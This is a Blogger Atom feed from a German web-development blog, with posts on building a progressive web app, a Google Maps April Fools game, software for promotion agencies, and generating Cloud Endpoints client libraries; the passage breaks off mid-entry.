<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:blogger='http://schemas.google.com/blogger/2008' xmlns:georss='http://www.georss.org/georss' xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-8381996623360289127</id><updated>2024-10-04T20:09:17.869-07:00</updated><category term="facebook"/><category term="StudiVZ"/><category term="Social network"/><category term="sicherheit"/><category term="sicherheitslücke"/><category term="xss"/><category term="absichern"/><category term="ajax"/><category term="cms"/><category term="download"/><category term="google+"/><category term="javascript"/><category term="keep it simple"/><category term="kostenlos"/><category term="online shop"/><category term="php"/><category term="plugin"/><category term="promotion software"/><category term="social network web2.0 web20 community"/><category term="studi vz"/><category term="web 2.0"/><category term="wordpress"/><category term="youtube api"/><category term="1. april"/><category term="70% reduziert"/><category term="Arbeitsamt"/><category term="Arbeitslos"/><category term="Gehalt"/><category term="Hartz"/><category term="Hartz IV"/><category term="KMU"/><category term="Myspace"/><category term="Shopping"/><category term="Startup"/><category term="Typo3"/><category term="Web Development"/><category term="admin passwort"/><category term="adventkalender"/><category term="adventskalender"/><category term="agb"/><category term="ajax form"/><category term="ajax formular"/><category term="amazon"/><category term="android"/><category term="android development"/><category term="angebot"/><category term="aprilscherz"/><category term="autoklicker"/><category term="beheben"/><category term="bsi"/><category term="certificate"/><category term="chrome extension"/><category term="code"/><category term="com one"/><category term="comedy"/><category term="debug"/><category term="design"/><category term="diagnose Software"/><category term="dienst"/><category term="digital"/><category term="digitaler wandel"/><category term="empplan"/><category term="facebook kopie"/><category term="fastform"/><category term="fest reden"/><category term="film"/><category term="fingerprint"/><category term="five minute"/><category term="free"/><category term="fun"/><category term="gefahr"/><category term="gegen rechts"/><category term="geschenke"/><category term="geschenkeideen"/><category term="google"/><category term="graph"/><category term="graph api"/><category term="hack"/><category term="ideen"/><category term="ikasis"/><category term="individuell"/><category term="integration"/><category term="jquery"/><category term="jquery plugin"/><category term="js"/><category term="kay"/><category term="kurz test"/><category term="kwick"/><category term="layout"/><category term="linux"/><category term="mashup"/><category term="mini cms"/><category term="movie"/><category term="mr-wong"/><category term="ms pac-man"/><category term="neuerungen"/><category term="no nazis"/><category term="optik"/><category term="pac-man"/><category term="passwort"/><category term="picture"/><category term="pimp my studivz"/><category term="pimp your life"/><category term="pirobase"/><category term="progressive web app"/><category term="promotion"/><category term="promotion jobs"/><category term="promotion planen"/><category term="promotionbasis"/><category term="reden"/><category term="sales"/><category term="schnäppchen"/><category term="second life"/><category term="second life real"/><category term="security"/><category term="shop"/><category term="skript"/><category term="smeet"/><category term="social bookmark"/><category term="social shop"/><category term="spreadsheet"/><category term="sql injection"/><category term="sql injektion"/><category term="stream"/><category term="system"/><category term="tag picture"/><category term="theme"/><category term="third life"/><category term="trend 2016"/><category term="turorial"/><category term="tutorial"/><category term="typo3 einsetzbarkeit"/><category term="ubuntu"/><category term="unsicher"/><category term="untergang"/><category term="upload"/><category term="user"/><category term="video"/><category term="vulnerable"/><category term="waf"/><category term="webios"/><category term="windows hack"/><category term="youtube"/><title type='text'>[ KASIS | Kay | Schneider ]</title><subtitle type='html'>KASIS-IT, Internetblog, Kay Schneider, Webkunst, comone</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://kasisit.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8381996623360289127/posts/default?redirect=false'/><link rel='alternate' type='text/html' href='http://kasisit.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><link rel='next' type='application/atom+xml' href='http://www.blogger.com/feeds/8381996623360289127/posts/default?start-index=26&amp;max-results=25&amp;redirect=false'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>42</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-8381996623360289127.post-8485635910184842631</id><published>2017-04-03T00:50:00.002-07:00</published><updated>2017-04-03T00:50:48.647-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="code"/><category scheme="http://www.blogger.com/atom/ns#" term="javascript"/><category scheme="http://www.blogger.com/atom/ns#" term="js"/><category scheme="http://www.blogger.com/atom/ns#" term="progressive web app"/><category scheme="http://www.blogger.com/atom/ns#" term="tutorial"/><title type='text'>Create a progressive web application - live coding session video </title><content type='html'>&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;iframe width=&quot;560&quot; height=&quot;315&quot; src=&quot;https://www.youtube.com/embed/6sAFRuxUrbY&quot; frameborder=&quot;0&quot; allowfullscreen&gt;&lt;/iframe&gt;&lt;/div&gt;
&lt;br /&gt;</content><link rel='replies' type='application/atom+xml' href='http://kasisit.blogspot.com/feeds/8485635910184842631/comments/default' title='Kommentare zum Post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/8381996623360289127/8485635910184842631' title='0 Kommentare'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8381996623360289127/posts/default/8485635910184842631'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8381996623360289127/posts/default/8485635910184842631'/><link rel='alternate' type='text/html' href='http://kasisit.blogspot.com/2017/04/create-progressive-web-application-live.html' title='Create a progressive web application - live coding session video '/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img.youtube.com/vi/6sAFRuxUrbY/default.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8381996623360289127.post-8350290937350287731</id><published>2017-04-01T09:06:00.001-07:00</published><updated>2017-04-01T09:06:42.357-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="1. april"/><category scheme="http://www.blogger.com/atom/ns#" term="aprilscherz"/><category scheme="http://www.blogger.com/atom/ns#" term="fun"/><category scheme="http://www.blogger.com/atom/ns#" term="google"/><category scheme="http://www.blogger.com/atom/ns#" term="ms pac-man"/><category scheme="http://www.blogger.com/atom/ns#" term="pac-man"/><title type='text'>Aprilscherz Google Maps - Spiele Ms. Pac-Man</title><content type='html'>&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;iframe allowfullscreen=&quot;&quot; class=&quot;YOUTUBE-iframe-video&quot; data-thumbnail-src=&quot;https://i.ytimg.com/vi/MIXirtfdvB8/0.jpg&quot; frameborder=&quot;0&quot; height=&quot;266&quot; src=&quot;https://www.youtube.com/embed/MIXirtfdvB8?feature=player_embedded&quot; style=&quot;clear: right; float: right;&quot; width=&quot;320&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;
In diesem Jahr hat das Google Maps team einen Aprilscherz aus dem Jahre 2015 ausgegraben und etwas erweiteret. Im Jahr 2015 konnte man Pac-Man spielen. In diesem Jahr ist es die &quot;Ms. Pac-Man&quot; geworden. &lt;br /&gt;
Im Video zeige ich es euch in der Google Maps App auf dem Android</content><link rel='replies' type='application/atom+xml' href='http://kasisit.blogspot.com/feeds/8350290937350287731/comments/default' title='Kommentare zum Post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/8381996623360289127/8350290937350287731' title='0 Kommentare'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8381996623360289127/posts/default/8350290937350287731'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8381996623360289127/posts/default/8350290937350287731'/><link rel='alternate' type='text/html' href='http://kasisit.blogspot.com/2017/04/aprilscherz-google-maps-spiele-ms-pac.html' title='Aprilscherz Google Maps - Spiele Ms. Pac-Man'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img.youtube.com/vi/MIXirtfdvB8/default.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8381996623360289127.post-715088485274229122</id><published>2017-03-24T04:35:00.000-07:00</published><updated>2018-12-22T02:27:39.686-08:00</updated><title type='text'>Progressive Web App</title><content type='html'>In einem vorherigen Post habe ich meinen kleinen Notenrechner vorgestellt.&lt;br /&gt;
&lt;br /&gt;
In diesem Post möchte ich basierend darauf eine Progressive Web App vorstellen welche Online wie Offline funktioniert. Und welche man auch dann laden kann wenn der Browser offline ist.&lt;br /&gt;
&lt;br /&gt;
Die Seite sowie den Quellcode findet hier hier:&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjN4wQehq02zhhCtAFTsJnHON8ZBEiIS4yByui573mGHwLx1k64R2rfggtw2HWfU521GmbNGipSPK0gk9LnEKr0wbtVv_yZFSl6mBrRIJiXVt9064hi7xztz_kOFdQ56wWN0GQ9JnvamvvV/s1600/Unofficial_JavaScript_logo_2.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: right; float: right; margin-bottom: 1em; margin-left: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjN4wQehq02zhhCtAFTsJnHON8ZBEiIS4yByui573mGHwLx1k64R2rfggtw2HWfU521GmbNGipSPK0gk9LnEKr0wbtVv_yZFSl6mBrRIJiXVt9064hi7xztz_kOFdQ56wWN0GQ9JnvamvvV/s320/Unofficial_JavaScript_logo_2.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;b&gt;Notenrechner&lt;/b&gt;:&lt;br /&gt;
&lt;a href=&quot;https://kayschneider.github.io/notenRechner/#/calc?_k=w7g922&quot;&gt;https://kayschneider.github.io/notenRechner/#/calc&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Quellcode:&lt;/b&gt;&lt;br /&gt;
&lt;a href=&quot;https://github.com/KaySchneider/notenRechner&quot;&gt;https://github.com/KaySchneider/notenRechner&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Was genau eine Progressive Web App ist, wird hier erklärt:&lt;/b&gt;&lt;br /&gt;
&lt;a href=&quot;https://developers.google.com/web/progressive-web-apps/&quot;&gt;https://developers.google.com/web/progressive-web-apps/&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
In diesem kleinen Notenrechner, widme ich mich nur der Offline Funktionalität der kleinen App. Der Notenrechner soll online und offline gleichermaßen funktionieren.&lt;br /&gt;
&lt;br /&gt;
Dazu benötigen wir einen Service Worker, welcher uns den gewünschten content herunterlädt und beim Nutzer auf die Festplatte ablegt, dort kann nun auch im Offline Modus auf die Inhalte zugegriffen werden. Als positiver Nebeneffekt, lädt die Seite auch schneller zumindest beim zweiten Besuch der Seite da die Inhalte schon beim Nutzer liegen.&lt;br /&gt;
&lt;br /&gt;
Wichtig ist als erstes ein manifest.json einzubinden und eure Seite muss via SSL ausgeliefert werden. Dazu kann man auch die gesamte check liste von google durchgehen:&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;https://developers.google.com/web/progressive-web-apps/checklist&quot;&gt;https://developers.google.com/web/progressive-web-apps/checklist&lt;/a&gt;&amp;nbsp; &lt;br /&gt;
&lt;br /&gt;
Hier &amp;nbsp;ein Beispielhaftes manifest.json:&lt;br /&gt;
&lt;br /&gt;
&lt;script src=&quot;https://gist.github.com/KaySchneider/c8c04cc268adb571ad5e326a56e2bc18.js&quot;&gt;&lt;/script&gt;&lt;br /&gt;
&lt;br /&gt;
Wichtig ist das das manifest.json folgende Attribute enthält:&lt;br /&gt;
&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;&lt;b&gt;name &lt;/b&gt;Der Name wird im Installations Banner angezeigt&lt;/li&gt;
&lt;li&gt;&lt;b&gt;short_name &lt;/b&gt;Dieser Name wird auf dem Home screen angezeigt und sollte kürzer sein&amp;nbsp;&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
Die Icons sollten in den unterschiedlichen größen hinterlegt werden, dies erleichtert das auffinden eurer progressive Web App auf dem Handy enorm.&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
Das Attribute &lt;b&gt;start_url &lt;/b&gt;enthält die zu startende Seite wenn der Nutzer die Anwendung startet. Hier kann man auch ein tracking Parameter hinzufügen &lt;b&gt;start_url:&quot;?utm_source=homescreen&quot;. &lt;/b&gt;Somit könnt ihr tracken wieviel Nutzer eure app wirklich auch vom Homescreen heraus starten.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Mit dem Attribut &lt;b&gt;display &lt;/b&gt;kann man die Anwendung im Browser öffnen lassen oder standalone. Der standalone Modus fühlt sich mehr wie eine Anwendung an.&lt;/div&gt;
&lt;div&gt;
Mögliche Werte für das Attribut &lt;b&gt;display:&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;ul&gt;
&lt;li&gt;&lt;b&gt;browser &lt;/b&gt;Öffnet die Anwendung im Browser&lt;/li&gt;
&lt;li&gt;&lt;b&gt;standalone &lt;/b&gt;Öffnet die Anwendung im Standalone Modus(ähnlich wie eine App)&amp;nbsp;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Weiterführende Informationen zum Thema Web manifest finden sich hier:&lt;/div&gt;
&lt;div&gt;
&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/Manifest&quot;&gt;https://developer.mozilla.org/en-US/docs/Web/Manifest&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Der wichtigste Teil in diesem Beitrag ist der Service Worker.&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;a href=&quot;http://blog.yakisch.com/post/159010205729/progressive-web-apps-teil-2-service-worker&quot;&gt;http://blog.yakisch.com/post/159010205729/progressive-web-apps-teil-2-service-worker&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://kasisit.blogspot.de/2017/04/create-progressive-web-application-live.html&quot;&gt;Hier gehts zum Video Create a Progressive Web application&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;</content><link rel='replies' type='application/atom+xml' href='http://kasisit.blogspot.com/feeds/715088485274229122/comments/default' title='Kommentare zum Post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/8381996623360289127/715088485274229122' title='0 Kommentare'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8381996623360289127/posts/default/715088485274229122'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8381996623360289127/posts/default/715088485274229122'/><link rel='alternate' type='text/html' href='http://kasisit.blogspot.com/2017/03/progressive-web-app.html' title='Progressive Web App'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjN4wQehq02zhhCtAFTsJnHON8ZBEiIS4yByui573mGHwLx1k64R2rfggtw2HWfU521GmbNGipSPK0gk9LnEKr0wbtVv_yZFSl6mBrRIJiXVt9064hi7xztz_kOFdQ56wWN0GQ9JnvamvvV/s72-c/Unofficial_JavaScript_logo_2.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8381996623360289127.post-8704106837918742219</id><published>2016-01-05T07:48:00.000-08:00</published><updated>2016-01-05T08:33:20.186-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="digital"/><category scheme="http://www.blogger.com/atom/ns#" term="digitaler wandel"/><category scheme="http://www.blogger.com/atom/ns#" term="KMU"/><category scheme="http://www.blogger.com/atom/ns#" term="promotion"/><category scheme="http://www.blogger.com/atom/ns#" term="promotion software"/><category scheme="http://www.blogger.com/atom/ns#" term="trend 2016"/><title type='text'>2016 Trend - Digitalisierung von Geschäftsprozessen in KMU</title><content type='html'>Der Digitale Wandel ist nicht nur ein Trend, er macht auch Prozesse und somit Unternehmen agiler, Wirtschaftlicher und lässt diese schneller und Risikofreier Wachsen.&lt;br /&gt;
&lt;br /&gt;
Gerade Mittelständische Event und Promotion Agenturen arbeiten zumeist noch mit Excel, was zwar gut funktioniert. Jedoch den Nachteil hat das es nicht vernetzt ist und anfällig für Fehler ist.&lt;br /&gt;
Gerade wenn mehrere Menschen an etwas Arbeiten ist es schnell vorbei komplexe Abläufe in Excel abzubilden.&lt;br /&gt;
&lt;br /&gt;
Und der Digitale Wandel schafft hier abhilfe. Waren doch vor 10 Jahren die Grund investitionen in eine Branchenlösung noch enorm. So sind dank cloud services diese einstiegspreise stark gefallen und bieten zumeist ein faires Preis Modell an was sich an die Nutzung des Produktes orientiert. Am weitesten verbreitet ist das bezahlen nach Firmengröße/Anzahl Nutzer. &amp;nbsp;Dieses Preismodell hat den Vorteil das man auch als KMU ein kleines Paket wählen kann und eine sehr günstige Software erhält.&lt;br /&gt;
&lt;br /&gt;
Desweiteren bieten gerade digitale Prozesse den Vorteil das diese einfache tätigkeiten Halb automatisch durchführen können. Bei einer Event Agentur wäre dies etwa die Terminabsprache mit Promotoren, das Überprüfen der Rechnungen von Promotoren, die Abrechnung mit Auftraggebern.&lt;br /&gt;
&lt;br /&gt;
Diese Prozesse können durch einige Produkte Automatisiert werden und man schafft freie Resourcen im Backoffice für wichtigere Aufgaben im Unternehmen und wird somit auch Effizienter, weniger Anfällig für Fehler und kann mehr Verkaufen und oder Kunden erreichen als ein Mitbewerber welcher sich nicht Digitalisiert. Die rasche Digitalisierung ist nicht nur eine Frage eines Trendes sondern wird auch und gerade bei Event Agenturen im Umfeld der Verkaufsförderung ein Selektionskriterium der Auftraggeber werden, da diese sich auch mehr und mehr dem Digitalen wandel verschreiben und somit auch Partner suchen welche sich in die eigene Digitale Prozesswelt einbinden lassen.&lt;br /&gt;
&lt;br /&gt;
Somit hilft es auch das eigene Unternehmen fit für die Zukunft zu machen, ein neuer Anbieter versucht KMU`s im Event und Verkaufsförderungsumfeld hier auf die Sprünge zu helfen, von einer Anbindung an die Systeme der Auftraggeber bishin zur voll Digitalisierten Abbrechnung mit den Promotoren bietet empplan ein revolutionären Ansatz im Bereich der Promotion und Eventagenturen. &lt;br /&gt;
Wer mehr über den Digitalen Wandel im Bereich Event und Promotion Agenturen erfahren möchte kann sich hier informieren: &lt;a href=&quot;http://www.empplan.com/&quot;&gt;http://www.empplan.com&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;</content><link rel='replies' type='application/atom+xml' href='http://kasisit.blogspot.com/feeds/8704106837918742219/comments/default' title='Kommentare zum Post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/8381996623360289127/8704106837918742219' title='0 Kommentare'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8381996623360289127/posts/default/8704106837918742219'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8381996623360289127/posts/default/8704106837918742219'/><link rel='alternate' type='text/html' href='http://kasisit.blogspot.com/2016/01/2016-trend-digitalisierung-von.html' title='2016 Trend - Digitalisierung von Geschäftsprozessen in KMU'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8381996623360289127.post-4509614649328881664</id><published>2016-01-05T03:27:00.000-08:00</published><updated>2016-01-05T03:53:17.619-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="empplan"/><category scheme="http://www.blogger.com/atom/ns#" term="promotion jobs"/><category scheme="http://www.blogger.com/atom/ns#" term="promotion planen"/><category scheme="http://www.blogger.com/atom/ns#" term="promotion software"/><category scheme="http://www.blogger.com/atom/ns#" term="promotionbasis"/><category scheme="http://www.blogger.com/atom/ns#" term="sales"/><title type='text'>Promotion Planung -- Software Neu</title><content type='html'>&lt;h2&gt;
Promotion Planung Software Vorstellung: &lt;b&gt;empplan&lt;/b&gt;&lt;/h2&gt;
In der Promotion Planung gibt es diverse Softwareangebote und hier möchte ich ein paar Vorstellen, heute zum Start der Serie gibt es direkt eine Neuerscheinung am Markt der Promotion Software, &lt;b&gt;&lt;a href=&quot;https://www.empplan.com/&quot;&gt;Empplan&lt;/a&gt;.&amp;nbsp;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
Empplan ist eine Software as a Servive Lösung, sowie Salesforce.com als Beispiel. Mit Empplan kann man Zielgenau seine Promoter steuern, Einsätze Planen und die Durchführung zentral Überwachen. Es gibt auch eine einfache Möglichkeit ein Serien Event für Dauerpromotions zu erstellen:&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;iframe allowfullscreen=&quot;&quot; class=&quot;YOUTUBE-iframe-video&quot; data-thumbnail-src=&quot;https://i.ytimg.com/vi/GMxUUbmS5Cw/0.jpg&quot; frameborder=&quot;0&quot; height=&quot;266&quot; src=&quot;https://www.youtube.com/embed/GMxUUbmS5Cw?feature=player_embedded&quot; width=&quot;320&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
Zu den Mitbewerbern unterscheidet es sich das Empplan direkt die Tages reports ( Sales Reports) für die Auftraggeber unterstützt, dabei können direkt die Produkte des Kunden hinterlegt werden um Fehler im Reporting zu vermeiden. &amp;nbsp;Darüber hinaus hat es einige spannende Ansätze, Es werden einfach Projekte für Kunden angelegt und über eine bereits Hinterlegte Mart-Point of Sale Datenbank für DACH spart man sich viel Zeit beim Anlegen der Point of sales.&lt;br /&gt;
&lt;br /&gt;
Somit können Promoter auch tagesgenau sehen welche Provision sie zu erwarten haben und sorgt für mehr Transparenz in Agenturen und somit zu einer höheren Promoter treue im Unternehmen.&lt;br /&gt;
&lt;br /&gt;
Durch die einfache und klare Aufmachung gegenüber anderen Mitbewerbern wir IPM-Promotion ist empplan schneller Produktiv im Einsatz in der Agentur. &lt;br /&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhwRno0R2GmI4PQQXo-tWx63BOtqkUPxW6mDbJliEVvqrCeD8f2UDiU3imounASIrdSas8i7ZB3GDL8-TJt8nNLXGmyhX3q8sUA7YB-8ovXDJfg44B2NAIwk87dRnuKq8xpw9rNFrQP4d51/s1600/empplan-time-tracking-de.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;234&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhwRno0R2GmI4PQQXo-tWx63BOtqkUPxW6mDbJliEVvqrCeD8f2UDiU3imounASIrdSas8i7ZB3GDL8-TJt8nNLXGmyhX3q8sUA7YB-8ovXDJfg44B2NAIwk87dRnuKq8xpw9rNFrQP4d51/s320/empplan-time-tracking-de.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;Event-Status auf Event Detail Seite&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;br /&gt;
Die Promoter können sich am Event/Einsatz anmelden und abmelden somit weiß die Agentur stets bescheid bei welchen Events heute nachgefragt werden müssen oder Ersatz besorgt werden muss. Dies sieht man direkt im Tages Dashboard. Somit muss man nicht umständlich suchen oder sich durch die Software klicken.&lt;br /&gt;
&lt;br /&gt;
Es ist nicht ganz so anpassungsfähig wie manch andere Software dafür aber wesentlich einfacher in der Täglichen Handhabung. Es schützt vor doppel Buchungen von Mitarbeitern bei der Planung und hilft somit die Qualität der Agentur zu steigern.&lt;br /&gt;
&lt;br /&gt;
Eine Integrierung von Promotionbasis Profile gibt es derzeit noch nicht in empplan aber eine API ist in Aussicht gestellt laut Hersteller so dass sich dieses Problem wohl bald beheben lässt.&lt;br /&gt;
&lt;br /&gt;
Beim Tages Reporting für den Agentur Kunden spart man ca. 80% der Zeit da man diesen als Excel direkt aus Empplan heraus exportieren kann. Da die ersten 30 Tage kostenlos zum testen sind lohnt sich ein Blick auf jeden Fall:&lt;br /&gt;
&lt;a href=&quot;http://www.empplan.com/&quot;&gt;www.empplan.com&lt;/a&gt;&amp;nbsp;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;</content><link rel='replies' type='application/atom+xml' href='http://kasisit.blogspot.com/feeds/4509614649328881664/comments/default' title='Kommentare zum Post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/8381996623360289127/4509614649328881664' title='0 Kommentare'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8381996623360289127/posts/default/4509614649328881664'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8381996623360289127/posts/default/4509614649328881664'/><link rel='alternate' type='text/html' href='http://kasisit.blogspot.com/2016/01/promotion-planung-software-neu.html' title='Promotion Planung -- Software Neu'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img.youtube.com/vi/GMxUUbmS5Cw/default.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8381996623360289127.post-5266983055938747602</id><published>2014-10-26T03:45:00.003-07:00</published><updated>2014-10-26T03:45:40.573-07:00</updated><title type='text'>Generating Libraries and Discovery Docs with the Endpoints Tool</title><content type='html'>&lt;br /&gt;
&lt;br /&gt;
&lt;h1 class=&quot;page-title&quot; id=&quot;generating_libraries_and_discovery_docs_with_the_endpoints_tool&quot; style=&quot;background-color: white; color: #333333; font-family: &#39;open sans&#39;, arial, sans-serif; font-size: 34px; font-weight: 300; letter-spacing: -0.01em; line-height: 1.3; margin: 12px 0px 24px;&quot;&gt;
Generating Libraries and Discovery Docs with the Endpoints Tool&lt;/h1&gt;
&lt;div&gt;
inside the directory of your python cloud endpoints source code:&lt;/div&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
google-cloud-sdk/bin/endpointscfg.py get_client_lib java -bs gradle api_name_from_app_yaml.UserController&amp;nbsp;api_name_from_app_yaml.GCMController&amp;nbsp;api_name_from_app_yaml.MessageController&lt;/blockquote&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/blockquote&gt;
More information:&lt;br /&gt;
&lt;a href=&quot;https://cloud.google.com/appengine/docs/python/endpoints/endpoints_tool&quot;&gt;https://cloud.google.com/appengine/docs/python/endpoints/endpoints_tool&lt;/a&gt;</content><link rel='replies' type='application/atom+xml' href='http://kasisit.blogspot.com/feeds/5266983055938747602/comments/default' title='Kommentare zum Post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/8381996623360289127/5266983055938747602' title='0 Kommentare'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8381996623360289127/posts/default/5266983055938747602'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8381996623360289127/posts/default/5266983055938747602'/><link rel='alternate' type='text/html' href='http://kasisit.blogspot.com/2014/10/generating-libraries-and-discovery-docs.html' title='Generating Libraries and Discovery Docs with the Endpoints Tool'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8381996623360289127.post-8570836179135887082</id><published>2014-05-11T04:32:00.000-07:00</published><updated>2014-05-11T07:17:02.273-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="android"/><category scheme="http://www.blogger.com/atom/ns#" term="android development"/><category 